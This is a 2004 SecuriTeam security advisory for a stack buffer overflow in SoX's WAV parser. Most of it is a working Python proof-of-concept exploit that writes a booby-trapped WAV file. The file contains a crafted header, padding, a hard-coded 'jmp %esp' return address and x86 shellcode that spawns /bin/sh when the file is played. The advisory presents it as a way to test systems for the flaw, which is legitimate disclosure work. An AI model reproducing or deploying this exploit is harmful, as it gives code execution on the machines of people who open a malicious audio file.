[EXPL] SoX Local Buffer Overflow Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 08/01/04

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Date: 1 Aug 2004 14:11:00 +0200

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      SoX Local Buffer Overflow Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in <http://www.securiteam.com/unixfocus/5AP0L2KDFC.html>
    SoX Local Buffer Overflow Vulnerabilities (st_wavstartread), SoX is
    vulnerable to a buffer overflow attack when processing WAV files. The
    condition occurs due to a user controlled length variable which is used to
    copy data to a local buffer without any bounds checking.

    The following exploit can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Exploit:
    # POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
    # Tested Under Slackware 9.1
    # Serkan Akpolat sakpolat@gmx.net | deicide@siyahsapka.org
    # Homepage: http://deicide.siyahsapka.org
    # Greets to: Virulent
    # deicide@gate:~$ play britney.wav
    # sh-2.05b$

    # "jmp %esp" from libc.so , change this if needed..
    retJmpEsp=0x4029824B

    # intel_order() from MOSDEF
    def intel_order(myint):
    str=""
    a=chr(myint % 256)
    myint=myint >> 8
    b=chr(myint % 256)
    myint=myint >> 8
    c=chr(myint % 256)
    myint=myint >> 8
    d=chr(myint % 256)
    str+="%c%c%c%c" % (a,b,c,d)
    return str

    # Wave Header
    begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
    +\
    "\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" +\
    "\x00\x01\x04\x00\x20\x00\xf4\x01\x07\x00\x00\x01\x00\x00\x00\x02" +\
    "\x00\xff\x00\x00\x00\x00\xc0\x00\x40\x00\xf0\x00\x00\x00\xcc\x01" +\
    "\x30\xff\x88\x01\x18\xff\x66\x61\x63\x74\x04\x00\x00\x00\x00\x00" +\
    "\x00\x00\x64\x61\x74\x61\x00\x00\x00\x00\x4c\x49\x53\x54\x9a\x01" +\
    "\x00\x00\x49\x4e\x46\x4f\x49\x41\x52\x54\x08\x00\x00\x00\x44\x65" +\
    "\x69\x63\x69\x64\x65\x00\x49\x43\x52\x44\x7e\x01\x00\x00"
    shellcode =
    "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

    evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
    wavFile = open("britney.wav", "wb")
    wavFile.write(evilBuf)
    wavFile.close()
    print "Evil Song has been created :Pp"

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:sakpolat@gmx.net> Serkan
    Akpolat.

    ========================================

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